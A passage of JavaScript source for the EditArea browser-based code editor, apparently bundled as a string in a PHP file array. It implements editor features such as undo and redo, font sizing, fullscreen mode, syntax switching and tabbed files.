					div_line_number+=i+"<br />";
					this.line_number++;
				}
				var span= document.createElement("span");
				if(this.nav['isIE'])
					span.unselectable=true;
				span.innerHTML=div_line_number;         
				$("line_number").appendChild(span);       
			}
		
			//4) be sure the text is well displayed
			this.textarea.scrollTop="0px";
			this.textarea.scrollLeft="0px";
			if(resized==true){
				this.scroll_to_view();
			}
		}
		if(!onlyOneTime)
			setTimeout("editArea.manage_size();", 100);
	};
	
	EditArea.prototype.add_event = function(obj, name, handler) {
		if (this.nav['isIE']) {
			obj.attachEvent("on" + name, handler);
		} else{
			obj.addEventListener(name, handler, false);
		}
	};
	
	EditArea.prototype.execCommand= function(cmd, param){
		
		for(var i in this.plugins){
			if(typeof(this.plugins[i].execCommand)=="function"){
				if(!this.plugins[i].execCommand(cmd, param))
					return;
			}
		}
		switch(cmd){
			case "save":
				if(this.settings["save_callback"].length>0)
					eval("parent."+this.settings["save_callback"]+"('"+ this.id +"', editArea.textarea.value);");
				break;
			case "load":
				if(this.settings["load_callback"].length>0)
					eval("parent."+this.settings["load_callback"]+"('"+ this.id +"');");
				break;
			case "onchange":
				if(this.settings["change_callback"].length>0)
					eval("parent."+this.settings["change_callback"]+"('"+ this.id +"');");
				break;		
			case "EA_load":
				if(this.settings["EA_load_callback"].length>0)
					eval("parent."+this.settings["EA_load_callback"]+"('"+ this.id +"');");
				break;
			case "EA_unload":
				if(this.settings["EA_unload_callback"].length>0)
					eval("parent."+this.settings["EA_unload_callback"]+"('"+ this.id +"');");
				break;
			case "toggle_on":
				if(this.settings["EA_toggle_on_callback"].length>0)
					eval("parent."+this.settings["EA_toggle_on_callback"]+"('"+ this.id +"');");
				break;
			case "toggle_off":
				if(this.settings["EA_toggle_off_callback"].length>0)
					eval("parent."+this.settings["EA_toggle_off_callback"]+"('"+ this.id +"');");
				break;
			case "re_sync":
				if(!this.do_highlight)
					break;
			case "file_switch_on":
				if(this.settings["EA_file_switch_on_callback"].length>0)
					eval("parent."+this.settings["EA_file_switch_on_callback"]+"(param);");
				break;
			case "file_switch_off":
				if(this.settings["EA_file_switch_off_callback"].length>0)
					eval("parent."+this.settings["EA_file_switch_off_callback"]+"(param);");
				break;
			case "file_close":
				if(this.settings["EA_file_close_callback"].length>0)
					return eval("parent."+this.settings["EA_file_close_callback"]+"(param);");
				break;
			
			default:
				if(typeof(eval("editArea."+cmd))=="function")
				{
					if(this.settings["debug"])
						eval("editArea."+ cmd +"(param);");
					else
						try{eval("editArea."+ cmd +"(param);");}catch(e){};
				}
		}
	};
	
	EditArea.prototype.get_translation= function(word, mode){
		if(mode=="template")
			return parent.editAreaLoader.translate(word, this.settings["language"], mode);
		else
			return parent.editAreaLoader.get_word_translation(word, this.settings["language"]);
	};
	
	EditArea.prototype.add_plugin= function(plug_name, plug_obj){
		for(var i=0; i<this.settings["plugins"].length; i++){
			if(this.settings["plugins"][i]==plug_name){
				this.plugins[plug_name]=plug_obj;
				plug_obj.baseURL=parent.editAreaLoader.baseURL + "plugins/" + plug_name + "/";
				if( typeof(plug_obj.init)=="function" )
					plug_obj.init();
			}
		}
	};
	
	EditArea.prototype.load_css= function(url){
		try{
			link = document.createElement("link");
			link.type = "text/css";
			link.rel= "stylesheet";
			link.media="all";
			link.href = url;
			head = document.getElementsByTagName("head");
			head[0].appendChild(link);
		}catch(e){
			document.write("<link href='"+ url +"' rel='stylesheet' type='text/css' />");
		}
	};
	
	EditArea.prototype.load_script= function(url){
		try{
			script = document.createElement("script");
			script.type = "text/javascript";
			script.src  = url;
			script.charset= "UTF-8";
			head = document.getElementsByTagName("head");
			head[0].appendChild(script);
		}catch(e){
			document.write("<script type='text/javascript' src='" + url + "' charset=\"UTF-8\"><"+"/script>");
		}
	};
	
	// add plugin translation to language translation array
	EditArea.prototype.add_lang= function(language, values){
		if(!parent.editAreaLoader.lang[language])
			parent.editAreaLoader.lang[language]=new Object();
		for(var i in values)
			parent.editAreaLoader.lang[language][i]= values[i];
	};
	
	// short cut for document.getElementById()
	function $(id){return document.getElementById( id );};

	var editArea = new EditArea();	
	editArea.add_event(window, "load", init);
	
	function init(){		
		setTimeout("editArea.init();  ", 10);
	};
',
  './AJAX-B/edit_area/edit_area_functions.js' => '	//replace tabulation by the good number of white spaces
	EditArea.prototype.replace_tab= function(text){
		return text.replace(/((\n?)([^\t\n]*)\t)/gi, editArea.smartTab);		// slower than simple replace...	
	};
	
	// call by the replace_tab function
	EditArea.prototype.smartTab= function(){
		val="                   ";
		return EditArea.prototype.smartTab.arguments[2] + EditArea.prototype.smartTab.arguments[3] + val.substr(0, editArea.tab_nb_char - (EditArea.prototype.smartTab.arguments[3].length)%editArea.tab_nb_char);
	};
	
	EditArea.prototype.show_waiting_screen= function(){
		width= this.editor_area.offsetWidth;
		height= this.editor_area.offsetHeight;
		if(this.nav['isGecko'] || this.nav['isOpera'] || this.nav['isIE']>=7){
			width-=2;
			height-=2;
		}
		this.processing_screen.style.display="block";
		this.processing_screen.style.width= width+"px";
		this.processing_screen.style.height= height+"px";
		this.waiting_screen_displayed= true;
	};
	
	EditArea.prototype.hide_waiting_screen= function(){
		this.processing_screen.style.display="none";
		this.waiting_screen_displayed= false;
	};
	
	EditArea.prototype.add_style= function(styles){
		if(styles.length>0){
			newcss = document.createElement("style");
			newcss.type="text/css";
			newcss.media="all";
			document.getElementsByTagName("head")[0].appendChild(newcss);
			cssrules = styles.split("}");
			newcss = document.styleSheets[0];
			if(newcss.rules) { //IE
				for(i=cssrules.length-2;i>=0;i--) {
					newrule = cssrules[i].split("{");
					newcss.addRule(newrule[0],newrule[1])
				}
			}
			else if(newcss.cssRules) { //Firefox etc
				for(i=cssrules.length-1;i>=0;i--) {
					if(cssrules[i].indexOf("{")!=-1){
						newcss.insertRule(cssrules[i]+"}",0);
					}
				}
			}
		}
	};
	
	EditArea.prototype.set_font= function(family, size){
		var elems= new Array("textarea", "content_highlight", "cursor_pos", "end_bracket", "selection_field", "line_number");
		if(family && family!="")
			this.settings["font_family"]= family;
		if(size && size>0)
			this.settings["font_size"]=size;
		if(this.nav['isOpera'])	// opera can't manage non monospace font
			this.settings['font_family']="monospace";
		var elem_font=$("area_font_size");	
		if(elem_font){	
			for(var i=0; i<elem_font.length; i++){
				if(elem_font.options[i].value && elem_font.options[i].value == this.settings["font_size"])
						elem_font.options[i].selected=true;
			}
		}
		
		// calc line height
		elem	= $("test_font_size");
		elem.style.fontFamily= ""+this.settings["font_family"];
		elem.style.fontSize= this.settings["font_size"]+"pt";				
		elem.innerHTML="0";		
		this.lineHeight= elem.offsetHeight;

		
		for(var i=0; i<elems.length; i++){
			var elem= $(elems[i]);	
			elem.style.fontFamily= this.settings["font_family"];
			elem.style.fontSize= this.settings["font_size"]+"pt";
			elem.style.lineHeight= this.lineHeight+"px";

		}
		if(this.nav['isOpera']){	// opera doesn't update font change to the textarea
			var start=this.textarea.selectionStart;
			var end= this.textarea.selectionEnd;
			var parNod = this.textarea.parentNode, nxtSib = this.textarea.nextSibling;
			parNod.removeChild(this.textarea); parNod.insertBefore(this.textarea, nxtSib);
			this.area_select(start, end-start);
		}
		
		this.add_style("pre{font-family:"+this.settings["font_family"]+"}");
		
		//alert(	getAttribute($("edit_area_test_font_size"), "style"));
		

		//alert("font "+this.textarea.style.font);
		// force update of selection field
		this.last_line_selected=-1;
		//if(this.state=="loaded"){
		this.last_selection= new Array();
		this.resync_highlight();
		//}
	/*	this.last_selection["indexOfCursor"]=-1;
		this.last_selection["curr_pos"]=-1;
		this.last_selection["line_start"]=-1;
		this.focus();*/
		//this.check_line_selection(false);
		//alert("line_h"+ this.lineHeight + " this.id: "+this.id+ "(size: "+size+")");
	};
	
	EditArea.prototype.change_font_size= function(){
		var size=$("area_font_size").value;
		if(size>0)
			this.set_font("", size);			
	};
	
	
	EditArea.prototype.open_inline_popup= function(popup_id){
		this.close_all_inline_popup();
		var popup= $(popup_id);		
		var editor= $("editor");
		
		// search matching icon
		for(var i=0; i<this.inlinePopup.length; i++){
			if(this.inlinePopup[i]["popup_id"]==popup_id){
				var icon= $(this.inlinePopup[i]["icon_id"]);
				if(icon){
					this.switchClassSticky(icon, 'editAreaButtonSelected', true);			
					break;
				}
			}
		}
		// check size
		popup.style.height="auto";
		popup.style.overflow= "visible";
			
		if(document.body.offsetHeight< popup.offsetHeight){
			popup.style.height= (document.body.offsetHeight-10)+"px";
			popup.style.overflow= "auto";
		}
		
		if(!popup.positionned){
			var new_left= editor.offsetWidth /2 - popup.offsetWidth /2;
			var new_top= editor.offsetHeight /2 - popup.offsetHeight /2;
			//var new_top= area.offsetHeight /2 - popup.offsetHeight /2;
			//var new_left= area.offsetWidth /2 - popup.offsetWidth /2;
			//alert("new_top: ("+new_top+") = calculeOffsetTop(area) ("+calculeOffsetTop(area)+") + area.offsetHeight /2("+ area.offsetHeight /2+") - popup.offsetHeight /2("+popup.offsetHeight /2+") - scrollTop: "+document.body.scrollTop);
			popup.style.left= new_left+"px";
			popup.style.top= new_top+"px";
			popup.positionned=true;
		}
		popup.style.visibility="visible";
		
		//popup.style.display="block";
	};

	EditArea.prototype.close_inline_popup= function(popup_id){
		var popup= $(popup_id);		
		// search matching icon
		for(var i=0; i<this.inlinePopup.length; i++){
			if(this.inlinePopup[i]["popup_id"]==popup_id){
				var icon= $(this.inlinePopup[i]["icon_id"]);
				if(icon){
					this.switchClassSticky(icon, 'editAreaButtonNormal', false);			
					break;
				}
			}
		}
		
		popup.style.visibility="hidden";	
	};
	
	EditArea.prototype.close_all_inline_popup= function(e){
		for(var i=0; i<this.inlinePopup.length; i++){
			this.close_inline_popup(this.inlinePopup[i]["popup_id"]);		
		}
		this.textarea.focus();
	};
	
	EditArea.prototype.show_help= function(){
		
		this.open_inline_popup("edit_area_help");
		
	};
			
	EditArea.prototype.new_document= function(){
		this.textarea.value="";
		this.area_select(0,0);
	};
	
	EditArea.prototype.get_all_toolbar_height= function(){
		var area= $("editor");
		var results= parent.getChildren(area, "div", "class", "area_toolbar", "all", "0");	// search only direct children
		//results= results.concat(getChildren(area, "table", "class", "area_toolbar", "all", "0"));
		var height=0;
		for(var i=0; i<results.length; i++){			
			height+= results[i].offsetHeight;
		}
		//alert("toolbar height: "+height);
		return height;
	};
	
	EditArea.prototype.go_to_line= function(line){	
		if(!line)
		{	
			var icon= $("go_to_line");
			if(icon != null){
				this.restoreClass(icon);
				this.switchClassSticky(icon, 'editAreaButtonSelected', true);
			}
			
			line= prompt(this.get_translation("go_to_line_prompt"));
			if(icon != null)
				this.switchClassSticky(icon, 'editAreaButtonNormal', false);
		}
		if(line && line!=null && line.search(/^[0-9]+$/)!=-1){
			var start=0;
			var lines= this.textarea.value.split("\n");
			if(line > lines.length)
				start= this.textarea.value.length;
			else{
				for(var i=0; i<Math.min(line-1, lines.length); i++)
					start+= lines[i].length + 1;
			}
			this.area_select(start, 0);
		}
		
		
	};
	
	
	EditArea.prototype.change_smooth_selection_mode= function(setTo){
		//alert("setTo: "+setTo);
		if(this.do_highlight)
			return;
			
		if(setTo != null){
			if(setTo === false)
				this.smooth_selection=true;
			else
				this.smooth_selection=false;
		}
		var icon= $("change_smooth_selection");
		this.textarea.focus();
		if(this.smooth_selection===true){
			//setAttribute(icon, "class", getAttribute(icon, "class").replace(/ selected/g, "") );
			/*setAttribute(icon, "oldClassName", "editAreaButtonNormal" );
			setAttribute(icon, "className", "editAreaButtonNormal" );*/
			//this.restoreClass(icon);
			//this.restoreAndSwitchClass(icon,'editAreaButtonNormal');
			this.switchClassSticky(icon, 'editAreaButtonNormal', false);
			
			this.smooth_selection=false;
			this.selection_field.style.display= "none";
			$("cursor_pos").style.display= "none";
			$("end_bracket").style.display= "none";
		}else{
			//setAttribute(icon, "class", getAttribute(icon, "class") + " selected");
			//this.switchClass(icon,'editAreaButtonSelected');
			this.switchClassSticky(icon, 'editAreaButtonSelected', false);
			this.smooth_selection=true;
			this.selection_field.style.display= "block";
			$("cursor_pos").style.display= "block";
			$("end_bracket").style.display= "block";
		}	
	};
	
	// the auto scroll of the textarea has some lacks when it have to show cursor in the visible area when the textarea size change
	// show specifiy whereas it is the "top" or "bottom" of the selection that is showned
	EditArea.prototype.scroll_to_view= function(show){
		if(!this.smooth_selection)
			return;
		var zone= $("result");
		
		//var cursor_pos_top= parseInt($("cursor_pos").style.top.replace("px",""));
		var cursor_pos_top= $("cursor_pos").cursor_top;
		if(show=="bottom")
			cursor_pos_top+= (this.last_selection["line_nb"]-1)* this.lineHeight;
			
		var max_height_visible= zone.clientHeight + zone.scrollTop;
		var miss_top= cursor_pos_top + this.lineHeight - max_height_visible;
		if(miss_top>0){
			//alert(miss_top);
			zone.scrollTop=  zone.scrollTop + miss_top;
		}else if( zone.scrollTop > cursor_pos_top){
			// when erase all the content -> does'nt scroll back to the top
			//alert("else: "+cursor_pos_top);
			zone.scrollTop= cursor_pos_top;	 
		}
		//var cursor_pos_left= parseInt($("cursor_pos").style.left.replace("px",""));
		var cursor_pos_left= $("cursor_pos").cursor_left;
		var max_width_visible= zone.clientWidth + zone.scrollLeft;
		var miss_left= cursor_pos_left + 10 - max_width_visible;
		if(miss_left>0){			
			zone.scrollLeft= zone.scrollLeft + miss_left + 50;
		}else if( zone.scrollLeft > cursor_pos_left){
			zone.scrollLeft= cursor_pos_left ;
		}else if( zone.scrollLeft == 45){
			// show the line numbers if textarea align to it's left
			zone.scrollLeft=0;
		}
	};
	
	EditArea.prototype.check_undo= function(only_once){
		if(!editAreas[this.id])
			return false;
		if(this.textareaFocused && editAreas[this.id]["displayed"]==true){
			var text=this.textarea.value;
			if(this.previous.length<=1)
				this.switchClassSticky($("undo"), 'editAreaButtonDisabled', true);
		
			if(!this.previous[this.previous.length-1] || this.previous[this.previous.length-1]["text"] != text){
				this.previous.push({"text": text, "selStart": this.textarea.selectionStart, "selEnd": this.textarea.selectionEnd});
				if(this.previous.length > this.settings["max_undo"]+1)
					this.previous.shift();
				
			}
			if(this.previous.length >= 2)
				this.switchClassSticky($("undo"), 'editAreaButtonNormal', false);		
		}

		if(!only_once)
			setTimeout("editArea.check_undo()", 3000);
	};
	
	EditArea.prototype.undo= function(){
		//alert("undo"+this.previous.length);
		if(this.previous.length > 0){
			if(this.nav['isIE'])
				this.getIESelection();
		//	var pos_cursor=this.textarea.selectionStart;
			this.next.push({"text": this.textarea.value, "selStart": this.textarea.selectionStart, "selEnd": this.textarea.selectionEnd});
			var prev= this.previous.pop();
			if(prev["text"]==this.textarea.value && this.previous.length > 0)
				prev=this.previous.pop();						
			this.textarea.value= prev["text"];
			this.last_undo= prev["text"];
			this.area_select(prev["selStart"], prev["selEnd"]-prev["selStart"]);
			this.switchClassSticky($("redo"), 'editAreaButtonNormal', false);
			this.resync_highlight(true);
			//alert("undo"+this.previous.length);
			this.check_file_changes();
		}
	};
	
	EditArea.prototype.redo= function(){
		if(this.next.length > 0){
			/*if(this.nav['isIE'])
				this.getIESelection();*/
			//var pos_cursor=this.textarea.selectionStart;
			var next= this.next.pop();
			this.previous.push(next);
			this.textarea.value= next["text"];
			this.last_undo= next["text"];
			this.area_select(next["selStart"], next["selEnd"]-next["selStart"]);
			this.switchClassSticky($("undo"), 'editAreaButtonNormal', false);
			this.resync_highlight(true);
			this.check_file_changes();
		}
		if(	this.next.length == 0)
			this.switchClassSticky($("redo"), 'editAreaButtonDisabled', true);
	};
	
	EditArea.prototype.check_redo= function(){
		if(editArea.next.length == 0 || editArea.textarea.value!=editArea.last_undo){
			editArea.next= new Array();	// undo the ability to use "redo" button
			editArea.switchClassSticky($("redo"), 'editAreaButtonDisabled', true);
		}
		else
		{
			this.switchClassSticky($("redo"), 'editAreaButtonNormal', false);
		}
	};
	
	
	// functions that manage icons roll over, disabled, etc...
	EditArea.prototype.switchClass = function(element, class_name, lock_state) {
		var lockChanged = false;
	
		if (typeof(lock_state) != "undefined" && element != null) {
			element.classLock = lock_state;
			lockChanged = true;
		}
	
		if (element != null && (lockChanged || !element.classLock)) {
			element.oldClassName = element.className;
			element.className = class_name;
		}
	};
	
	EditArea.prototype.restoreAndSwitchClass = function(element, class_name) {
		if (element != null && !element.classLock) {
			this.restoreClass(element);
			this.switchClass(element, class_name);
		}
	};
	
	EditArea.prototype.restoreClass = function(element) {
		if (element != null && element.oldClassName && !element.classLock) {
			element.className = element.oldClassName;
			element.oldClassName = null;
		}
	};
	
	EditArea.prototype.setClassLock = function(element, lock_state) {
		if (element != null)
			element.classLock = lock_state;
	};
	
	EditArea.prototype.switchClassSticky = function(element, class_name, lock_state) {
		var lockChanged = false;
		if (typeof(lock_state) != "undefined" && element != null) {
			element.classLock = lock_state;
			lockChanged = true;
		}
	
		if (element != null && (lockChanged || !element.classLock)) {
			element.className = class_name;
			element.oldClassName = class_name;
		}
	};
	
	//make the "page up" and "page down" buttons works correctly
	EditArea.prototype.scroll_page= function(params){
		var dir= params["dir"];
		var shift_pressed= params["shift"];
		screen_height=$("result").clientHeight;
		var lines= this.textarea.value.split("\n");		
		var new_pos=0;
		var length=0;
		var char_left=0;
		var line_nb=0;
		if(dir=="up"){
			//val= Math.max(0, $("result").scrollTop - screen_height);
			//$("result").scrollTop= val;
			var scroll_line= Math.ceil((screen_height -30)/this.lineHeight);
			if(this.last_selection["selec_direction"]=="up"){
				for(line_nb=0; line_nb< Math.min(this.last_selection["line_start"]-scroll_line, lines.length); line_nb++){
					new_pos+= lines[line_nb].length + 1;
				}
				char_left=Math.min(lines[Math.min(lines.length-1, line_nb)].length, this.last_selection["curr_pos"]-1);
				if(shift_pressed)
					length=this.last_selection["selectionEnd"]-new_pos-char_left;	
				this.area_select(new_pos+char_left, length);
				view="top";
			}else{			
				view="bottom";
				for(line_nb=0; line_nb< Math.min(this.last_selection["line_start"]+this.last_selection["line_nb"]-1-scroll_line, lines.length); line_nb++){
					new_pos+= lines[line_nb].length + 1;
				}
				char_left=Math.min(lines[Math.min(lines.length-1, line_nb)].length, this.last_selection["curr_pos"]-1);
				if(shift_pressed){
					//length=this.last_selection["selectionEnd"]-new_pos-char_left;	
					start= Math.min(this.last_selection["selectionStart"], new_pos+char_left);
					length= Math.max(new_pos+char_left, this.last_selection["selectionStart"] )- start ;
					if(new_pos+char_left < this.last_selection["selectionStart"])
						view="top";
				}else
					start=new_pos+char_left;
				this.area_select(start, length);
				
			}
		}else{
			//val= Math.max($("result").style.height.replace("px", ""), $("result").scrollTop + screen_height);
			//$("result").scrollTop= val;
			var scroll_line= Math.floor((screen_height-30)/this.lineHeight);				
			if(this.last_selection["selec_direction"]=="down"){
				view="bottom";
				for(line_nb=0; line_nb< Math.min(this.last_selection["line_start"]+this.last_selection["line_nb"]-2+scroll_line, lines.length); line_nb++){
					if(line_nb==this.last_selection["line_start"]-1)
						char_left= this.last_selection["selectionStart"] -new_pos;
					new_pos+= lines[line_nb].length + 1;
									
				}
				if(shift_pressed){
					length=Math.abs(this.last_selection["selectionStart"]-new_pos);	
					length+=Math.min(lines[Math.min(lines.length-1, line_nb)].length, this.last_selection["curr_pos"]);
					//length+=Math.min(lines[Math.min(lines.length-1, line_nb)].length, char_left);
					this.area_select(Math.min(this.last_selection["selectionStart"], new_pos), length);
				}else{
					this.area_select(new_pos+char_left, 0);
				}
				
			}else{
				view="top";
				for(line_nb=0; line_nb< Math.min(this.last_selection["line_start"]+scroll_line-1, lines.length, lines.length); line_nb++){
					if(line_nb==this.last_selection["line_start"]-1)
						char_left= this.last_selection["selectionStart"] -new_pos;
					new_pos+= lines[line_nb].length + 1;									
				}
				if(shift_pressed){
					length=Math.abs(this.last_selection["selectionEnd"]-new_pos-char_left);	
					length+=Math.min(lines[Math.min(lines.length-1, line_nb)].length, this.last_selection["curr_pos"])- char_left-1;
					//length+=Math.min(lines[Math.min(lines.length-1, line_nb)].length, char_left);
					this.area_select(Math.min(this.last_selection["selectionEnd"], new_pos+char_left), length);
					if(new_pos+char_left > this.last_selection["selectionEnd"])
						view="bottom";
				}else{
					this.area_select(new_pos+char_left, 0);
				}
				
			}
		}		
		
		this.check_line_selection();
		this.scroll_to_view(view);
	};
	
	EditArea.prototype.start_resize= function(e){		
		parent.editAreaLoader.resize["id"]= editArea.id;		
		parent.editAreaLoader.resize["start_x"]= (e)? e.pageX : event.x + document.body.scrollLeft;		
		parent.editAreaLoader.resize["start_y"]= (e)? e.pageY : event.y + document.body.scrollTop;
		if(editArea.nav['isIE']){
			editArea.textarea.focus();
			editArea.getIESelection();
		}
		parent.editAreaLoader.resize["selectionStart"]= editArea.textarea.selectionStart;
		parent.editAreaLoader.resize["selectionEnd"]= editArea.textarea.selectionEnd;
		/*parent.editAreaLoader.resize["frame_top"]= parent.calculeOffsetTop(parent.editAreas[editArea.id]["textarea"]);
		/*parent.editAreaLoader.resize["frame_left"]= parent.calculeOffsetLeft(parent.frames[editArea.id]);*/
		parent.editAreaLoader.start_resize_area();
	};
	
	EditArea.prototype.toggle_full_screen= function(to){
		if(typeof(to)=="undefined")
			to= !this.fullscreen['isFull'];
		var old= this.fullscreen['isFull'];
		this.fullscreen['isFull']= to;
		var icon= $("fullscreen");
		if(to && to!=old)
		{	// toogle on fullscreen		
			var selStart= this.textarea.selectionStart;
			var selEnd= this.textarea.selectionEnd;
			var html= parent.document.getElementsByTagName("html")[0];
			var frame= parent.document.getElementById("frame_"+this.id);

			this.fullscreen['old_overflow']= parent.get_css_property(html, "overflow");
			this.fullscreen['old_height']= parent.get_css_property(html, "height");
			this.fullscreen['old_width']= parent.get_css_property(html, "width");
			this.fullscreen['old_scrollTop']= html.scrollTop;
			this.fullscreen['old_scrollLeft']= html.scrollLeft;
			this.fullscreen['old_zIndex']= parent.get_css_property(frame, "z-index");
			if(this.nav['isOpera']){
				html.style.height= "100%";
				html.style.width= "100%";	
			}
			html.style.overflow= "hidden";
			html.scrollTop=0;
			html.scrollLeft=0;
			
		
			//html.style.backgroundColor= "#FF0000"; 
//	alert(screen.height+"\n"+window.innerHeight+"\n"+html.clientHeight+"\n"+window.offsetHeight+"\n"+document.body.offsetHeight);
			
			
			frame.style.position="absolute";
			frame.style.width= html.clientWidth+"px";
			frame.style.height= html.clientHeight+"px";
			frame.style.display="block";
			frame.style.zIndex="999999";
			frame.style.top="0px";
			frame.style.left="0px";
			
			// if the iframe was in a div with position absolute, the top and left are the one of the div, 
			// so I fix it by seeing at witch position the iframe start and correcting it
			frame.style.top= "-"+parent.calculeOffsetTop(frame)+"px";
			frame.style.left= "-"+parent.calculeOffsetLeft(frame)+"px";
			
		//	parent.editAreaLoader.execCommand(this.id, "update_size();");
		//	var body=parent.document.getElementsByTagName("body")[0];
		//	body.appendChild(frame);
			
			this.switchClassSticky(icon, 'editAreaButtonSelected', false);
			this.fullscreen['allow_resize']= this.resize_allowed;
			this.allow_resize(false);
	
			//this.area_select(selStart, selEnd-selStart);
			
		
			// opera can't manage to do a direct size update
			if(this.nav['isFirefox']){
				parent.editAreaLoader.execCommand(this.id, "update_size();");
				this.area_select(selStart, selEnd-selStart);
				this.scroll_to_view();
				this.focus();
			}else{
				setTimeout("parent.editAreaLoader.execCommand('"+ this.id +"', 'update_size();');editArea.focus();", 10);
			}	
			
	
		}
		else if(to!=old)
		{	// toogle off fullscreen
			var selStart= this.textarea.selectionStart;
			var selEnd= this.textarea.selectionEnd;
			
			var frame= parent.document.getElementById("frame_"+this.id);	
			frame.style.position="static";
			frame.style.zIndex= this.fullscreen['old_zIndex'];
		
			var html= parent.document.getElementsByTagName("html")[0];
		//	html.style.overflow= this.fullscreen['old_overflow'];
		
			if(this.nav['isOpera']){
				html.style.height= "auto"; 
				html.style.width= "auto";
				html.style.overflow= "auto";
			}else if(this.nav['isIE'] && parent!=top){	// IE doesn't manage html overflow in frames like in normal page... 
				html.style.overflow= "auto";
			}
			else
				html.style.overflow= this.fullscreen['old_overflow'];
			html.scrollTop= this.fullscreen['old_scrollTop'];
			html.scrollTop= this.fullscreen['old_scrollLeft'];
		
			parent.editAreaLoader.hide(this.id);
			parent.editAreaLoader.show(this.id);
			
			this.switchClassSticky(icon, 'editAreaButtonNormal', false);
			if(this.fullscreen['allow_resize'])
				this.allow_resize(this.fullscreen['allow_resize']);
			if(this.nav['isFirefox']){
				this.area_select(selStart, selEnd-selStart);
				setTimeout("editArea.scroll_to_view();", 10);
			}			
			
			//parent.editAreaLoader.remove_event(parent.window, "resize", editArea.update_size);
		}
		
	};
	
	EditArea.prototype.allow_resize= function(allow){
		var resize= $("resize_area");
		if(allow){
			
			resize.style.visibility="visible";
			parent.editAreaLoader.add_event(resize, "mouseup", editArea.start_resize);
		}else{
			resize.style.visibility="hidden";
			parent.editAreaLoader.remove_event(resize, "mouseup", editArea.start_resize);
		}
		this.resize_allowed= allow;
	};
	
	
	EditArea.prototype.change_syntax= function(new_syntax, is_waiting){
	//	alert("cahnge to "+new_syntax);
		// the syntax is the same
		if(new_syntax==this.settings['syntax'])
			return true;
		
		// check that the syntax is one allowed
		var founded= false;
		for(var i=0; i<this.syntax_list.length; i++)
		{
			if(this.syntax_list[i]==new_syntax)
				founded= true;
		}
		
		if(founded==true)
		{
			// the reg syntax file is not loaded
			if(!parent.editAreaLoader.load_syntax[new_syntax])
			{
				// load the syntax file and wait for file loading
				if(!is_waiting)
					parent.editAreaLoader.load_script(parent.editAreaLoader.baseURL + "reg_syntax/" + new_syntax + ".js");
				setTimeout("editArea.change_syntax('"+ new_syntax +"', true);", 100);
				this.show_waiting_screen();
			}
			else
			{
				if(!this.allready_used_syntax[new_syntax])
				{	// the syntax has still not been used
					// rebuild syntax definition for new languages
					parent.editAreaLoader.init_syntax_regexp();
					// add style to the new list
					this.add_style(parent.editAreaLoader.syntax[new_syntax]["styles"]);
					this.allready_used_syntax[new_syntax]=true;
				}
				// be sure that the select option is correctly updated
				var sel= $("syntax_selection");
				if(sel && sel.value!=new_syntax)
				{
					for(var i=0; i<sel.length; i++){
						if(sel.options[i].value && sel.options[i].value == new_syntax)
							sel.options[i].selected=true;
					}
				}
				
			/*	if(this.settings['syntax'].length==0)
				{
					this.switchClassSticky($("highlight"), 'editAreaButtonNormal', false);
					this.switchClassSticky($("reset_highlight"), 'editAreaButtonNormal', false);
					this.change_highlight(true);
				}
				*/
				this.settings['syntax']= new_syntax;
				this.resync_highlight(true);
				this.hide_waiting_screen();
				return true;
			}
		}
		return false;
	};
	
	
	// check if the file has changed
	EditArea.prototype.set_editable= function(is_editable){
		if(is_editable)
		{
			document.body.className= "";
			this.textarea.readOnly= false;
			this.is_editable= true;
		}
		else
		{
			document.body.className= "non_editable";
			this.textarea.readOnly= true;
			this.is_editable= false;
		}
		
		if(editAreas[this.id]["displayed"]==true)
			this.update_size();
	};
	
	/***** Wrap mode *****/
	// open a new tab for the given file
	EditArea.prototype.set_wrap_text= function(to){
		this.settings['wrap_text']	= to;
		if( this.settings['wrap_text'] )
		{
			wrap_mode = 'soft';
			this.container.className+= ' wrap_text';
		}
		else
		{
			wrap_mode = 'off';
			this.container.className= this.container.className.replace(/ wrap_text/g, '');
		}
		
		
		var t= this.textarea;
		t.wrap= wrap_mode;
		t.setAttribute('wrap', wrap_mode);
		// seul IE supporte de changer à la volée le wrap mode du textarea
		if(!this.nav['isIE']){
			var start=t.selectionStart, end= t.selectionEnd;
			var parNod = t.parentNode, nxtSib = t.nextSibling;
			parNod.removeChild(t); parNod.insertBefore(t, nxtSib);
			this.area_select(start, end-start);
	/*	//	v = s.value;
			n = s.cloneNode(true);
			n.setAttribute("wrap", val);
			s.parentNode.replaceChild(n, s);
		//	n.value = v;*/
		}
	};	
	/***** tabbed files managing functions *****/
	
	// open a new tab for the given file
	EditArea.prototype.open_file= function(settings){
		
		if(settings['id']!="undefined")
		{
			var id= settings['id'];
			// create a new file object with defautl values
			var new_file= new Object();
			new_file['id']= id;
			new_file['title']= id;
			new_file['text']= "";
			new_file['last_selection']= "";		
			new_file['last_text_to_highlight']= "";
			new_file['last_hightlighted_text']= "";
			new_file['previous']= new Array();
			new_file['next']= new Array();
			new_file['last_undo']= "";
			new_file['smooth_selection']= this.settings['smooth_selection'];
			new_file['do_highlight']= this.settings['start_highlight'];
			new_file['syntax']= this.settings['syntax'];
			new_file['scroll_top']= 0;
			new_file['scroll_left']= 0;
			new_file['selection_start']= 0;
			new_file['selection_end']= 0;
			new_file['edited']= false;
			new_file['font_size']= this.settings["font_size"];
			new_file['font_family']= this.settings["font_family"];
			new_file['toolbar']= {'links':{}, 'selects': {}};
			new_file['compare_edited_text']= new_file['text'];
			
			
			this.files[id]= new_file;
			this.update_file(id, settings);
			this.files[id]['compare_edited_text']= this.files[id]['text'];
			
			
			var html_id= 'tab_file_'+encodeURIComponent(id);
			this.filesIdAssoc[html_id]= id;
			this.files[id]['html_id']= html_id;
		
			if(!$(this.files[id]['html_id']) && id!="")
			{
				// be sure the tab browsing area is displayed
				this.tab_browsing_area.style.display= "block";
				var elem= document.createElement('li');
				elem.id= this.files[id]['html_id'];
				var close= "<img src=\""+ parent.editAreaLoader.baseURL +"images/close.gif\" title=\""+ this.get_translation('close_tab', 'word') +"\" onclick=\"editArea.execCommand('close_file', editArea.filesIdAssoc['"+ html_id +"']);return false;\" class=\"hidden\" onmouseover=\"this.className=''\" onmouseout=\"this.className='hidden'\" />";
				elem.innerHTML= "<a onclick=\"javascript:editArea.execCommand('switch_to_file', editArea.filesIdAssoc['"+ html_id +"']);\" selec=\"none\"><b><span><strong class=\"edited\">*</strong>"+ this.files[id]['title'] + close +"</span></b></a>";
				$('tab_browsing_list').appendChild(elem);
				var elem= document.createElement('text');
				this.update_size();
			}
			
			// open file callback (for plugin)
			if(id!="")
				this.execCommand('file_open', this.files[id]);
			
			this.switch_to_file(id, true);
			return true;
		}
		else
			return false;
	};
	
	// close the given file
